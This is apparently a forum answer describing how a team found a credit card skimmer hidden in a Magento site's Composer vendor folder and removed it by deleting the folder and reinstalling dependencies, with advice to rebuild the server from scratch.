We have found the same problem, and after investigating about it we have found a temporary solution. Yes temporary because the attacker has used some way to inject it, so the real challenge is find where is the Hole in the server!

In most of cases it's better starting from a scratch VPS, so it will be fresh and clean system!

By the way this problem is related to the vendor folder where all the composer libraries are, the credit card skimmer was there! We have deleted the vendor directory and start the composer update and the problem is gone!

As Antoine Vastel has helped us a lot with his article to understand how it works: https://antoinevastel.com/fraud/2020/09/20/analyzing-magento-skimmer.html

So our suggestion is clear-up your server and start again to configure it and protect it as possible.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy